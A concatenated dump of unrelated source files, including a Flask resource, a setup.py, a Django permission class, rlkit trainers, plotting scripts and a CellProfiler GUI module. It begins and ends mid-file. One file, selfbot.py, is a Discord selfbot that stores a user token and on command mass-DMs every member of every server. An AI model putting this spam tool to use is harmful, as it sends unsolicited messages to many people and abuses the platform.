qry.filter_by(user_id=user_id)\n qry_me = qry.first()\n \n #delete/unvote\n if args['value'] == 0:\n ### kondisi kalau mint dan 0\n qry_me.deleted = True\n qry_me.updated_at = db.func.now()\n point = qry_me\n #renew or mint\n else:\n #mint\n if qry_me is None:\n point = Points(user_id, args['locator_id'], args['content_type'])\n\n db.session.add(point)\n #renew\n else:\n qry_me.deleted = False\n qry_me.updated_at = db.func.now()\n point = qry_me\n\n #rekalkulasi poin untuk posting/konten\n if args['content_type'] in ['article','question']:\n qry2 = TopLevels.query.get(args['locator_id'])\n else:\n qry2 = SecondLevels.query.get(args['locator_id'])\n\n ###break point kalau ga ada\n\n qry3 = qry.filter_by(deleted=False)\n qry2.point = qry3.count()\n\n db.session.commit()\n\n return marshal(point, Points.response_fields), 200, {'Content-Type':'application/json'}\n\napi.add_resource(PointCRU,'')","sub_path":"blueprints/point/resources.py","file_name":"resources.py","file_ext":"py","file_size_in_byte":3845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"347502121","text":"from os.path import dirname, join\nfrom setuptools import setup, find_packages\n\n\nwith open(join(dirname(__file__), 'flying-circus/version'), 'rb') as f:\n version = f.read().decode('ascii').strip()\n\nsetup(\n name='flying-circus',\n version=version,\n url='https://github.com/volod/flying-circus',\n description='Real-Time video tracking drone artificial intelligence (AI)',\n long_description=open('README.md').read(),\n author='Scrapy developers',\n maintainer='FC developers',\n maintainer_email='lavolod@gmail.com',\n license='MIT',\n packages=find_packages(exclude=('tests', 'tests.*')),\n include_package_data=True,\n zip_safe=False,\n entry_points={\n 'console_scripts': ['fc = flying-circus.bin.cmdline:execute']\n },\n classifiers=[\n 'Development Status :: 1 - Planning',\n 'Environment :: Web Environment'\n 'Framework :: Twisted',\n 'Intended Audience :: Legal Industry',\n 'License :: OSI Approved :: MIT License',\n 'Natural Language :: English',\n 'Operating System :: POSIX :: Linux',\n 'Programming Language :: C++',\n 'Programming Language :: Lisp',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: Implementation :: PyPy',\n 'Programming Language :: Scala',\n 'Topic :: Adaptive Technologies',\n 'Topic :: Multimedia :: Video',\n 'Topic :: Scientific/Engineering :: Artificial Intelligence',\n 'Topic :: Security'\n ],\n install_requires=[\n 'Twisted>=14.0.2',\n 'txZMQ',\n 'numpy>=1.9.0',\n 'pyOpenSSL',\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"139025935","text":"from rest_framework.authentication import get_authorization_header\nfrom rest_framework.permissions import BasePermission\nfrom rest_framework.exceptions import AuthenticationFailed\n\nfrom ms_utils.helpers.auth import verify_token\n\n\nclass UserTokenPermission(BasePermission):\n\n def has_permission(self, request, view):\n token = get_authorization_header(request)\n if not token:\n raise AuthenticationFailed()\n status_code, user = verify_token(token.decode('utf-8'))\n\n request.user = user\n return status_code == 200\n\n def has_object_permission(self, request, view, obj):\n if hasattr(view, 'get_queryset'):\n queryset = view.get_queryset()\n else:\n queryset = getattr(view, 'queryset', None)\n\n assert queryset is not None, (\n 'Cannot apply DjangoObjectPermissions on a view that '\n 'does not set `.queryset` or have a `.get_queryset()` method.'\n )\n return obj.user == request.user.pk\n","sub_path":"ms_utils/permissions.py","file_name":"permissions.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"154114043","text":"import discord \r\nimport asyncio\r\nfrom discord import *\r\nfrom discord.ext import commands\r\nimport os\r\nfrom os import path\r\nimport time\r\n\r\nPREFIX = \"s!\"\r\n#onee.ch is the best imageboard <3\r\n\r\n\r\n# Creating selfbot instance\r\nbot = commands.Bot(command_prefix=PREFIX, description='''Based And REDPILLED''', self_bot=True)\r\nprint(\"Loading bot...\")\r\n@bot.event\r\nasync def on_ready():\r\n os.system('cls' if os.name == 'nt' else 'clear')\r\n print(\"Username: %s#%s\" % (bot.user.name, bot.user.discriminator))\r\n print(\"bot ID: \" + bot.user.id)\r\n\r\n\r\n#I DONT GIVE A FUCK\r\n@bot.event\r\nasync def on_message(message):\r\n if \"s!shill\" in message.content:\r\n for server in bot.servers:\r\n for server_member in server.members:\r\n time.sleep(5)\r\n try:\r\n print(\"Oy vey shilling\")\r\n message = \"Shill message\"\r\n await bot.send_message(server_member, message)\r\n time.sleep(20)\r\n except Exception as error:\r\n print(\"UNGA BUNGA YOU DID ERROR!!1!11!11!\")\r\n print(error)\r\nif path.isfile(\"token.txt\"):\r\n with open(\"token.txt\") as f:\r\n token = f.readline()\r\n print(\"Starting the fucking bot.\")\r\n bot.run(token, bot=False)\r\nelse:\r\n print(\"Enter a token:\")\r\n token = input()\r\n print(\"Saving token...\")\r\n with open(\"token.txt\", \"w\") as f:\r\n f.write(token)\r\n print(\"Starting the fucking bot\")\r\n bot.run(token, bot=False)\r\n","sub_path":"selfbot.py","file_name":"selfbot.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"96634193","text":"import numpy as np \nimport matplotlib.pyplot as plt \n\ndef plt_pes():\n \n\tdata = np.genfromtxt('pes.out')\n\n\tplt.figure() \n\tplt.plot(data[:,0], data[:,1],'b-',lw=3) \n\n\tplt.ylim(-0.001,0.01)\n\tplt.xlim(2,10) \n\ndef plt_en(ax1,ax2):\n\n\tdata = np.genfromtxt(fname='energy.out')\n\n\tax1.plot(data[:,0],data[:,2],linewidth=2,label='Potential')\n\tax1.plot(data[:,0],data[:,3],linewidth=2,label='Quantum Potential')\n\tax1.plot(data[:,0],data[:,4],linewidth=2,label='Energy')\n\t#pl.legend(bbox_to_anchor=(0.5, 0.38, 0.42, .302), loc=3,ncol=1, mode=\"expand\", borderaxespad=0.)\n\t\n\t\n\tax2.plot(data[:,0],data[:,1],linewidth=2,label='K')\n\n\n#plt.legend()\n\tax2.set_ylabel('Energy [hartree]')\n\n\n#plt.savefig('energy.pdf')\nfig, (ax1, ax2) = plt.subplots(nrows=2, ncols=1) \n\t\nplt_en(ax1, ax2) \n#plt_pes()\nplt.show() \n\n\n","sub_path":"QTM_F/1D/pH2/dat4/plt.py","file_name":"plt.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"615993976","text":"import abc\nfrom collections import OrderedDict\n\nfrom typing import Iterable\nfrom torch import nn as nn\nfrom torch.optim.optimizer import Optimizer\nimport torch\n\nfrom rlkit.core.batch_rl_algorithm import BatchRLAlgorithm\nfrom rlkit.core.batch_rl_dead_algorithm import BatchRLDangerAlgorithm\nfrom rlkit.core.online_rl_algorithm import OnlineRLAlgorithm\nfrom rlkit.core.trainer import Trainer\nfrom rlkit.torch.core import np_to_pytorch_batch\n\n\nclass TorchOnlineRLAlgorithm(OnlineRLAlgorithm):\n def to(self, device):\n for net in self.trainer.networks:\n net.to(device)\n\n def training_mode(self, mode):\n for net in self.trainer.networks:\n net.train(mode)\n\n\nclass TorchBatchRLAlgorithm(BatchRLAlgorithm):\n def to(self, device):\n for net in self.trainer.networks:\n net.to(device)\n\n def training_mode(self, mode):\n for net in self.trainer.networks:\n net.train(mode)\n\n\nclass TorchBatchRLDangerAlgorithm(BatchRLDangerAlgorithm):\n def to(self, device):\n for net in self.trainer.networks:\n net.to(device)\n\n def training_mode(self, mode):\n for net in self.trainer.networks:\n net.train(mode)\n\n\nclass TorchTrainer(Trainer, metaclass=abc.ABCMeta):\n def __init__(self):\n self._num_train_steps = 0\n self.eval_statistics = OrderedDict()\n\n def train(self, np_batch):\n self._num_train_steps += 1\n batch = np_to_pytorch_batch(np_batch)\n self.train_from_torch(batch)\n\n def get_diagnostics(self):\n return OrderedDict([\n ('num train calls', self._num_train_steps),\n ])\n\n @abc.abstractmethod\n def train_from_torch(self, batch):\n pass\n\n @property\n @abc.abstractmethod\n def networks(self) -> Iterable[nn.Module]:\n pass\n\n @property\n @abc.abstractmethod\n def optimizers(self) -> Iterable[Optimizer]:\n pass\n\n def load_nets(self, path):\n checkpoint = torch.load(path)\n\n nets = self.networks\n optimizers = self.optimizers\n object_num = 0\n\n for net in nets:\n net.load_state_dict(checkpoint[object_num])\n object_num += 1\n for optimizer in optimizers:\n optimizer.load_state_dict(checkpoint[object_num])\n\n def save_nets(self, path):\n nets = self.networks\n optimizers = self.optimizers\n\n model_params = {}\n object_num = 0\n for net in nets:\n model_params[object_num] = net.state_dict()\n object_num += 1\n\n for optimizer in optimizers:\n model_params[object_num] = optimizer.state_dict()\n object_num += 1\n\n torch.save(model_params, path)","sub_path":"rlkit/torch/torch_rl_algorithm.py","file_name":"torch_rl_algorithm.py","file_ext":"py","file_size_in_byte":2708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"484983413","text":"import os.path as op\nimport numpy as np\nimport mne\nfrom mayavi import mlab\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\n\n# Set up dirs needed for all visualizations\nexperiment_dir = op.join('D:\\\\', 'Zsuzsa', 'source_localization', 'fixed_gaze')\nconditions = ['phase_rand', 'normal', 'armenian']\ncond_names = {'phase_rand':'Random', 'armenian':'Armenian', 'normal':'Normal'}\nchs = ['PO7', 'PO8', 'PPO9h', 'PPO10h']\n# Read average evoked files from all three conditions\naverage_evoked = []\nfor condition in conditions:\n evoked_dir = op.join(experiment_dir, condition, 'evoked')\n evoked_file = op.join(evoked_dir, 'average_' + condition + '-ave.fif')\n average_evoked.append(mne.read_evokeds(evoked_file, condition = 0, baseline=None, proj=False, verbose=False).crop(0.05,0.450))\n\nred_patch = mpatches.Patch(color='red', label='normal')\nblack_patch = mpatches.Patch(color='black', label='phase_rand')\nyellow_patch = mpatches.Patch(color='yellow', label='armenian')\nchannels = []\ntimes = average_evoked[0].times\nsymbols = [['k-','k--', 'k-.', 'k:'],['y-', 'y--', 'y-.', 'y:'], ['r-','r--', 'r-.', 'r:']]\nfor i in range(len(conditions)):\n channels.append((average_evoked[i].pick_channels(chs)).data)\n\n for ch in range(len(chs)):\n plt.plot(times, channels[i][ch][0:] * 1000000, symbols[i][ch], alpha=0.8, label= cond_names[conditions[i]] + ' ' + chs[ch])\nplt.legend(loc='lower right', fontsize = 12)\nplt.grid(b=True, which='major', axis='both')\nplt.xlabel('time (s)', fontsize=12)\nplt.ylabel('\\u03BCV', fontsize=14)\nplt.show()\n","sub_path":"scripts/plot_conditions.py","file_name":"plot_conditions.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"633740516","text":"from django.core.management import BaseCommand\nfrom django.db import transaction, connection\n\nfrom api.management.commands._loader import ScriptLoader\n\n\nclass Command(BaseCommand):\n help = 'Loads operational data'\n\n def add_arguments(self, parser):\n parser.add_argument('script', help='script file or minio object name')\n parser.add_argument('--script-arg', nargs='+', help='argument for script')\n parser.add_argument('--revert', action='store_true', help='revert this script')\n\n helptext = ('Load operational data.')\n\n parser.description = helptext\n\n def handle(self, *args, **options):\n (script, source_code) = ScriptLoader().load_from_file(options['script'])\n\n script_instance = script(options['script'], options['script_arg'])\n\n script_metadata = {}\n script_metadata['comment'] = script_instance.comment\n script_metadata['source_code'] = source_code\n script_metadata['script_name'] = options['script']\n\n if 'revert' in options and options['revert'] is True:\n if not script_instance.is_revertable:\n self.stdout.write(self.style.ERROR('This script does not claim to be revertable'))\n return\n\n self.stdout.write('Reverting ops data script {}'.format(options['script']))\n\n if not script_instance.check_revert_preconditions():\n self.stdout.write(self.style.ERROR('Script preconditions not met. Not executing'))\n return\n\n script_instance.revert()\n self.stdout.write(self.style.SUCCESS('Successfully reverted ops data script {}'\n ).format(options['script']))\n else:\n if not script_instance.check_run_preconditions():\n self.stdout.write(self.style.ERROR('Script preconditions not met. Not executing'))\n self._create_persistent_record(**script_metadata, successful=False)\n return\n\n script_instance.run()\n\n self.stdout.write(self.style.SUCCESS('Successfully loaded ops data script {}'\n ).format(options['script']))\n","sub_path":"backend/api/management/commands/load_ops_data.py","file_name":"load_ops_data.py","file_ext":"py","file_size_in_byte":2198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"482438687","text":"import sys\nsys.path.append('.')\nimport pudb as db\nimport Leetcode.utils as ut\nfrom solution import Solution\n\n\ntests = [\n [\n \"ADOBECODEBANC\",\n \"ABC\",\n \"BANC\"\n ],\n [\n \"ACBBACA\",\n \"ABA\",\n \"BACA\"\n ],\n [\n \"A\",\n \"AA\",\n \"\"\n ],\n [\n \"aaaaaaaaaaaabbbbbcdd\",\n \"abcdd\",\n \"abbbbbcdd\"\n ],\n]\n\n\nif __name__ == \"__main__\":\n results = []\n sol = Solution()\n\n for i, t in enumerate(tests):\n S, T, exp = t\n\n if sys.argv[1:2] and int(sys.argv[1]) == i + 1:\n db.set_trace()\n\n ans = sol.minWindow(S, T)\n results.append(ans == exp)\n ut.print_test_oneline(i, results[-1], ans, exp)\n\n ut.print_test_results(results)\n","sub_path":"Leetcode/min_window_substring/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"506087583","text":"\"\"\"PreferencesView.py - displays the default preferences in the lower right corner\n\"\"\"\n\nimport cellprofiler.analysis\nimport cellprofiler.gui.help\nimport cellprofiler.gui.htmldialog\nimport cellprofiler.preferences\nimport numpy\nimport os\nimport string\nimport time\nimport wx\n\nWELCOME_MESSAGE = 'Welcome to CellProfiler'\n\nWRITE_MAT_FILE = \"MATLAB\"\nWRITE_HDF_FILE = \"HDF5\"\nDO_NOT_WRITE_MEASUREMENTS = \"Do not write measurements\"\n\nWRITE_MAT_FILE_TEXT = WRITE_MAT_FILE\nWRITE_HDF_FILE_TEXT = WRITE_HDF_FILE\nDO_NOT_WRITE_MEASUREMENTS_TEXT = \"Do not write MATLAB or HDF5 files\"\n\n\nclass PreferencesView:\n \"\"\"View / controller for the preferences that get displayed in the main window\n\n \"\"\"\n\n def __init__(self, parent_sizer, panel, progress_panel, status_panel):\n self.__panel = panel\n self.__parent_sizer = parent_sizer\n panel.AutoLayout = True\n static_box = wx.StaticBox(panel, label=\"Folders\")\n panel.SetSizer(wx.BoxSizer(wx.VERTICAL))\n static_box_sizer = wx.StaticBoxSizer(static_box, wx.VERTICAL)\n panel.Sizer.Add(static_box_sizer, 1, wx.EXPAND)\n self.__sizer = static_box_sizer\n self.__image_folder_panel = wx.Panel(panel)\n self.__image_folder_panel.AutoLayout = True\n self.__image_edit_box = self.__make_folder_panel(\n self.__image_folder_panel,\n cellprofiler.preferences.get_default_image_directory(),\n lambda: cellprofiler.preferences.get_recent_files(cellprofiler.preferences.DEFAULT_IMAGE_DIRECTORY),\n 'Default Input Folder',\n cellprofiler.gui.help.DEFAULT_IMAGE_FOLDER_HELP,\n [cellprofiler.preferences.set_default_image_directory,\n self.__notify_pipeline_list_view_directory_change],\n refresh_action=self.refresh_input_directory)\n self.__output_folder_panel = wx.Panel(panel)\n self.__output_folder_panel.AutoLayout = True\n self.__output_edit_box = self.__make_folder_panel(\n self.__output_folder_panel,\n cellprofiler.preferences.get_default_output_directory(),\n lambda: cellprofiler.preferences.get_recent_files(cellprofiler.preferences.DEFAULT_OUTPUT_DIRECTORY),\n 'Default Output Folder',\n cellprofiler.gui.help.DEFAULT_OUTPUT_FOLDER_HELP,\n [cellprofiler.preferences.set_default_output_directory,\n self.__notify_pipeline_list_view_directory_change])\n self.__odds_and_ends_panel = wx.Panel(panel)\n self.__odds_and_ends_panel.AutoLayout = True\n self.__make_odds_and_ends_panel()\n self.__status_panel = status_panel\n status_panel.Sizer = wx.BoxSizer()\n self.__status_text = wx.StaticText(\n status_panel, style=wx.SUNKEN_BORDER, label=WELCOME_MESSAGE)\n status_panel.Sizer.Add(self.__status_text, 1, wx.EXPAND)\n self.__progress_panel = progress_panel\n self.__progress_panel.AutoLayout = True\n self.__make_progress_panel()\n self.__sizer.AddMany([(self.__image_folder_panel, 0, wx.EXPAND | wx.ALL, 1),\n (self.__output_folder_panel, 0, wx.EXPAND | wx.ALL, 1),\n (self.__odds_and_ends_panel, 0, wx.EXPAND | wx.ALL, 1)])\n self.show_status_text()\n self.__errors = set()\n self.__pipeline_list_view = None\n self.__progress_watcher = None\n\n def show_default_image_folder(self, show):\n if self.__sizer.IsShown(self.__image_folder_panel) == show:\n return\n self.__sizer.Show(self.__image_folder_panel, show)\n parent = self.__image_folder_panel.GetParent()\n while parent is not None:\n parent.Layout()\n if parent == self.__image_folder_panel.GetTopLevelParent():\n break\n parent = parent.GetParent()\n\n def show_progress_panel(self):\n \"\"\"Show the pipeline progress panel and hide the status text\"\"\"\n self.__parent_sizer.Hide(self.__status_panel)\n self.__parent_sizer.Show(self.__progress_panel)\n self.__parent_sizer.Layout()\n self.__progress_panel.Layout()\n\n def show_status_text(self):\n \"\"\"Show the status text and hide the pipeline progress panel\"\"\"\n self.__parent_sizer.Show(self.__status_panel)\n self.__parent_sizer.Hide(self.__progress_panel)\n self.__parent_sizer.Layout()\n self.__status_panel.Layout()\n\n def close(self):\n cellprofiler.preferences.remove_output_file_name_listener(self.__on_preferences_output_filename_event)\n cellprofiler.preferences.remove_image_directory_listener(self.__on_preferences_image_directory_event)\n cellprofiler.preferences.remove_output_directory_listener(self.__on_preferences_output_directory_event)\n\n def __make_folder_panel(self, panel, value, list_fn, text, help_text,\n actions, refresh_action=None):\n sizer = wx.BoxSizer(wx.HORIZONTAL)\n help_button = wx.Button(panel, label='?', style=wx.BU_EXACTFIT)\n sizer.Add(help_button, 0, wx.ALIGN_CENTER)\n sizer.AddSpacer(2)\n text_static = wx.StaticText(panel, -1, text + ':')\n sizer.Add(text_static, 0, wx.ALIGN_CENTER)\n choices = list_fn()\n if value not in choices:\n choices.insert(0, value)\n edit_box = wx.ComboBox(panel, -1, value, choices=choices)\n sizer.Add(edit_box, 1, wx.ALIGN_CENTER)\n sizer.AddSpacer(2)\n browse_bmp = wx.ArtProvider.GetBitmap(wx.ART_FOLDER_OPEN,\n wx.ART_CMN_DIALOG,\n (16, 16))\n browse_button = wx.BitmapButton(panel, -1, bitmap=browse_bmp)\n browse_button.SetToolTipString(\"Browse for %s folder\" % text)\n sizer.Add(browse_button, 0, wx.ALIGN_CENTER)\n sizer.AddSpacer(2)\n\n new_bmp = wx.ArtProvider.GetBitmap(wx.ART_NEW_DIR,\n wx.ART_CMN_DIALOG,\n (16, 16))\n new_button = wx.BitmapButton(panel, -1, bitmap=new_bmp)\n new_button.SetToolTipString(\"Make a new sub-folder\")\n if os.path.isdir(value):\n new_button.Disable()\n sizer.Add(new_button, 0, wx.ALIGN_CENTER)\n if refresh_action is not None:\n refresh_bitmap = wx.ArtProvider.GetBitmap(wx.ART_REDO,\n wx.ART_CMN_DIALOG,\n (16, 16))\n refresh_button = wx.BitmapButton(panel, -1, bitmap=refresh_bitmap)\n sizer.AddSpacer(2)\n sizer.Add(refresh_button, 0, wx.ALIGN_CENTER, 1)\n refresh_button.SetToolTipString(\"Refresh the Default Input Folder list\")\n\n def on_refresh(event):\n refresh_action()\n\n refresh_button.Bind(wx.EVT_BUTTON, on_refresh)\n panel.SetSizer(sizer)\n\n def on_new_folder(event):\n if os.path.exists(edit_box.Value):\n return\n if wx.MessageBox(\"Do you really want to create the %s folder?\" %\n edit_box.Value, style=wx.YES_NO) == wx.YES:\n os.makedirs(edit_box.Value)\n self.__on_edit_box_change(event, edit_box, text, actions)\n\n def on_edit_box_change(event):\n if os.path.isdir(edit_box.Value):\n new_button.Disable()\n new_button.SetToolTipString(\"%s is a directory\" %\n edit_box.Value)\n else:\n new_button.Enable()\n new_button.SetToolTipString(\"Press button to create the %s folder\" %\n edit_box.Value)\n self.__on_edit_box_change(event, edit_box, text, actions)\n event.Skip()\n\n panel.Bind(wx.EVT_BUTTON, lambda event: self.__on_help(event, help_text),\n help_button)\n panel.Bind(wx.EVT_BUTTON, lambda event: self.__on_browse(event, edit_box, text), browse_button)\n panel.Bind(wx.EVT_TEXT, on_edit_box_change, edit_box)\n panel.Bind(wx.EVT_COMBOBOX, on_edit_box_change, edit_box)\n panel.Bind(wx.EVT_BUTTON, on_new_folder, new_button)\n return edit_box\n\n def __make_odds_and_ends_panel(self):\n panel = self.__odds_and_ends_panel\n output_filename_text = wx.StaticText(panel, -1, 'Output Filename:')\n output_filename_edit_box = wx.TextCtrl(\n panel, value=cellprofiler.preferences.get_output_file_name())\n self.__output_filename_edit_box = output_filename_edit_box\n allow_output_filename_overwrite_check_box = \\\n wx.CheckBox(panel, label=\"Allow overwrite?\")\n allow_output_filename_overwrite_check_box.Value = \\\n cellprofiler.preferences.get_allow_output_file_overwrite()\n write_measurements_combo_box = wx.Choice(\n panel, choices=\n [WRITE_HDF_FILE_TEXT, WRITE_MAT_FILE_TEXT,\n DO_NOT_WRITE_MEASUREMENTS_TEXT])\n # set measurements mode, then fake an event to update output\n # filename and which controls are shown.\n measurements_mode_idx = [cellprofiler.preferences.WRITE_HDF5, True, False].index(\n cellprofiler.preferences.get_write_MAT_files())\n write_measurements_combo_box.SetSelection(measurements_mode_idx)\n output_filename_help_button = wx.Button(\n panel, label='?', style=wx.BU_EXACTFIT)\n output_file_format_text = wx.StaticText(\n panel, label=\"Output file format:\")\n cellprofiler.preferences.add_output_file_name_listener(\n self.__on_preferences_output_filename_event)\n cellprofiler.preferences.add_image_directory_listener(\n self.__on_preferences_image_directory_event)\n cellprofiler.preferences.add_output_directory_listener(\n self.__on_preferences_output_directory_event)\n self.__hold_a_reference_to_progress_callback = self.progress_callback\n cellprofiler.preferences.add_progress_callback(\n self.__hold_a_reference_to_progress_callback)\n\n def on_output_filename_changed(event):\n cellprofiler.preferences.set_output_file_name(output_filename_edit_box.Value)\n\n def on_allow_checkbox(event):\n cellprofiler.preferences.set_allow_output_file_overwrite(\n allow_output_filename_overwrite_check_box.Value)\n\n def on_write_MAT_files_combo_box(event):\n #\n # Update the state to reflect the new measurement choice\n #\n sel = write_measurements_combo_box.GetStringSelection()\n output_filename = output_filename_edit_box.Value\n if sel == WRITE_HDF_FILE_TEXT:\n cellprofiler.preferences.set_write_MAT_files(cellprofiler.preferences.WRITE_HDF5)\n if output_filename.lower().endswith('.mat'):\n output_filename = output_filename[:-4] + u\".h5\"\n elif sel == WRITE_MAT_FILE_TEXT:\n cellprofiler.preferences.set_write_MAT_files(True)\n if output_filename.lower().endswith('.h5'):\n output_filename = output_filename[:-3] + u\".mat\"\n else:\n cellprofiler.preferences.set_write_MAT_files(False)\n\n if output_filename != output_filename_edit_box.Value:\n output_filename_edit_box.Value = output_filename\n cellprofiler.preferences.set_output_file_name(\n output_filename_edit_box.Value)\n #\n # Reconstruct the sizers depending on whether we have one or two rows\n #\n if sel == DO_NOT_WRITE_MEASUREMENTS_TEXT:\n show = False\n output_sizer = wx.BoxSizer(wx.HORIZONTAL)\n output_sizer.Add(output_filename_help_button, 0, wx.EXPAND)\n output_sizer.Add(output_file_format_text, 0, wx.ALIGN_RIGHT)\n output_sizer.Add(write_measurements_combo_box, 0, wx.ALIGN_LEFT)\n else:\n show = True\n output_sizer = wx.FlexGridSizer(2, 3, 2, 2)\n output_sizer.SetFlexibleDirection(wx.HORIZONTAL)\n output_sizer.AddGrowableCol(2)\n output_filename_edit_box_sizer = wx.BoxSizer(wx.HORIZONTAL)\n output_filename_edit_box_sizer.Add(\n output_filename_edit_box, 1, wx.EXPAND)\n output_filename_edit_box_sizer.AddSpacer(2)\n output_filename_edit_box_sizer.Add(\n allow_output_filename_overwrite_check_box, 0,\n wx.ALIGN_CENTER)\n output_sizer.Add(output_filename_help_button, 0, wx.EXPAND)\n output_sizer.Add(output_filename_text, 0, wx.ALIGN_RIGHT)\n output_sizer.Add(output_filename_edit_box_sizer, 1, wx.EXPAND)\n\n output_sizer.Add(wx.BoxSizer(), 0, wx.EXPAND)\n output_sizer.Add(output_file_format_text, 0, wx.ALIGN_RIGHT)\n output_sizer.Add(write_measurements_combo_box, 0, wx.ALIGN_LEFT)\n\n panel.SetSizer(output_sizer)\n for ctrl in (output_filename_text,\n output_filename_edit_box,\n allow_output_filename_overwrite_check_box):\n ctrl.Show(show)\n\n panel.Parent.Layout()\n panel.Layout()\n\n write_measurements_combo_box.Bind(\n wx.EVT_CHOICE, on_write_MAT_files_combo_box)\n allow_output_filename_overwrite_check_box.Bind(\n wx.EVT_CHECKBOX, on_allow_checkbox)\n output_filename_help_button.Bind(\n wx.EVT_BUTTON,\n lambda event: self.__on_help(event, cellprofiler.gui.help.USING_THE_OUTPUT_FILE_HELP))\n output_filename_edit_box.Bind(wx.EVT_TEXT, on_output_filename_changed)\n panel.Bind(wx.EVT_WINDOW_DESTROY, self.__on_destroy, panel)\n on_write_MAT_files_combo_box(None)\n\n def update_worker_count_info(self, n_workers):\n \"\"\"Update the # of running workers in the progress UI\n\n n_workers - # of workers running\n \"\"\"\n if n_workers == 1:\n label = \"Running 1 worker.\"\n else:\n label = \"Running %d workers.\" % n_workers\n self.__worker_count_ctrl.Label = label\n\n def __make_progress_panel(self):\n panel = self.__progress_panel\n self.__progress_msg_ctrl = wx.StaticText(panel)\n self.__worker_count_ctrl = wx.StaticText(panel)\n self.__progress_bar = wx.Gauge(panel, -1, size=(100, -1))\n self.__progress_bar.Value = 25\n self.__timer = wx.StaticText(panel)\n sizer = wx.BoxSizer(wx.HORIZONTAL)\n sizer.AddMany([((1, 1), 1),\n (self.__progress_msg_ctrl, 0, wx.ALIGN_BOTTOM),\n ((10, 0), 0),\n (self.__worker_count_ctrl, 0, wx.ALIGN_BOTTOM),\n ((10, 0), 0),\n (self.__progress_bar, 0, wx.ALIGN_BOTTOM),\n ((10, 0), 0),\n (self.__timer, 0, wx.ALIGN_BOTTOM)])\n panel.SetSizer(sizer)\n panel.Layout()\n #\n # The progress model is that one operation might invoke sub-operations\n # which might report their own progress. We model this as a stack,\n # tracking the innermost operation until done, then popping.\n #\n # The dictionary has as its key the operation ID and as it's value\n # a tuple of amount done and current message\n #\n self.__progress_stack = []\n self.__progress_dictionary = {}\n self.__progress_dialog = None\n\n def progress_callback(self, operation_id, progress, message):\n \"\"\"Monitor progress events in the UI thread\n\n operation_id - a unique id identifying an instance of an operation\n progress - a number from 0 to 1 where 0 is the start of the operation\n and 1 is its end.\n message - the message to display to the user.\n \"\"\"\n if progress is None:\n if message is None:\n message = WELCOME_MESSAGE\n self.set_message_text(message)\n return\n\n def reset_progress():\n self.__progress_stack = []\n self.__progress_dictionary = {}\n if self.__progress_dialog is not None:\n self.__progress_dialog.Destroy()\n self.__progress_dialog = None\n wx.SetCursor(wx.NullCursor)\n self.set_message_text(WELCOME_MESSAGE)\n wx.SafeYield(None, True)\n\n if operation_id is None:\n reset_progress()\n return\n\n if operation_id not in self.__progress_stack:\n self.__progress_stack.append(operation_id)\n else:\n loc = self.__progress_stack.index(operation_id)\n if loc == 0 and progress == 1:\n reset_progress()\n return\n if progress == 1:\n loc -= 1\n for operation_id in self.__progress_stack[(loc + 1):]:\n del self.__progress_dictionary[operation_id]\n self.__progress_stack = self.__progress_stack[:(loc + 1)]\n self.__progress_dictionary[operation_id] = (progress, message)\n wx.SetCursor(wx.StockCursor(wx.CURSOR_WAIT))\n message = \", \".join(\n [\"%s (%d %%)\" % (message, int(progress * 100))\n for progress, message in [\n self.__progress_dictionary[o] for o in self.__progress_stack]])\n self.set_message_text(message)\n wx.SafeYield(None, True) # ouch, can't repaint without it.\n\n def check_preferences(self):\n \"\"\"Return True if preferences are OK (e.g. directories exist)\"\"\"\n path = self.__image_edit_box.Value\n if not os.path.isdir(path):\n if wx.MessageBox(('The Default Input Folder is \"%s\", but '\n 'the directory does not exist. Do you want to '\n 'create it?') % path,\n \"Warning, cannot run pipeline\",\n style=wx.YES_NO) == wx.NO:\n return False, \"Image directory does not exist\"\n os.makedirs(path)\n cellprofiler.preferences.set_default_image_directory(path)\n path = self.__output_edit_box.Value\n if not os.path.isdir(path):\n if wx.MessageBox(('The Default Output Folder is \"%s\", but '\n 'the directory does not exist. Do you want to '\n 'create it?') % path,\n \"Warning, cannot run pipeline\",\n style=wx.YES_NO) == wx.NO:\n return False, \"Output directory does not exist\"\n os.makedirs(path)\n cellprofiler.preferences.set_default_output_directory(path)\n return True, \"OK\"\n\n def __on_destroy(self, event):\n cellprofiler.preferences.remove_image_directory_listener(self.__on_preferences_image_directory_event)\n cellprofiler.preferences.remove_output_directory_listener(self.__on_preferences_output_directory_event)\n cellprofiler.preferences.remove_output_file_name_listener(self.__on_preferences_output_filename_event)\n\n def attach_to_pipeline_list_view(self, pipeline_list_view):\n self.__pipeline_list_view = pipeline_list_view\n\n def on_analyze_images(self):\n # begin tracking progress\n self.__progress_watcher = ProgressWatcher(\n self.__progress_panel,\n self.update_progress,\n multiprocessing=cellprofiler.analysis.use_analysis)\n self.show_progress_panel()\n\n def on_pipeline_progress(self, *args):\n if self.__progress_watcher is not None:\n self.__progress_watcher.on_pipeline_progress(*args)\n\n def pause(self, do_pause):\n self.__progress_watcher.pause(do_pause)\n\n def update_progress(self, message, elapsed_time, remaining_time=None):\n #\n # Disable everything if in a modal state. The progress bar\n # seems to eat memory in huge chunks if allowed to draw its\n # oh so shiny self while modal in the ultra awesome Mac\n # interface. But you have to admit, the design is disgustingly\n # elegant even if it does cause my ugly application to\n # crash horribly.\n #\n # Taken from Cody 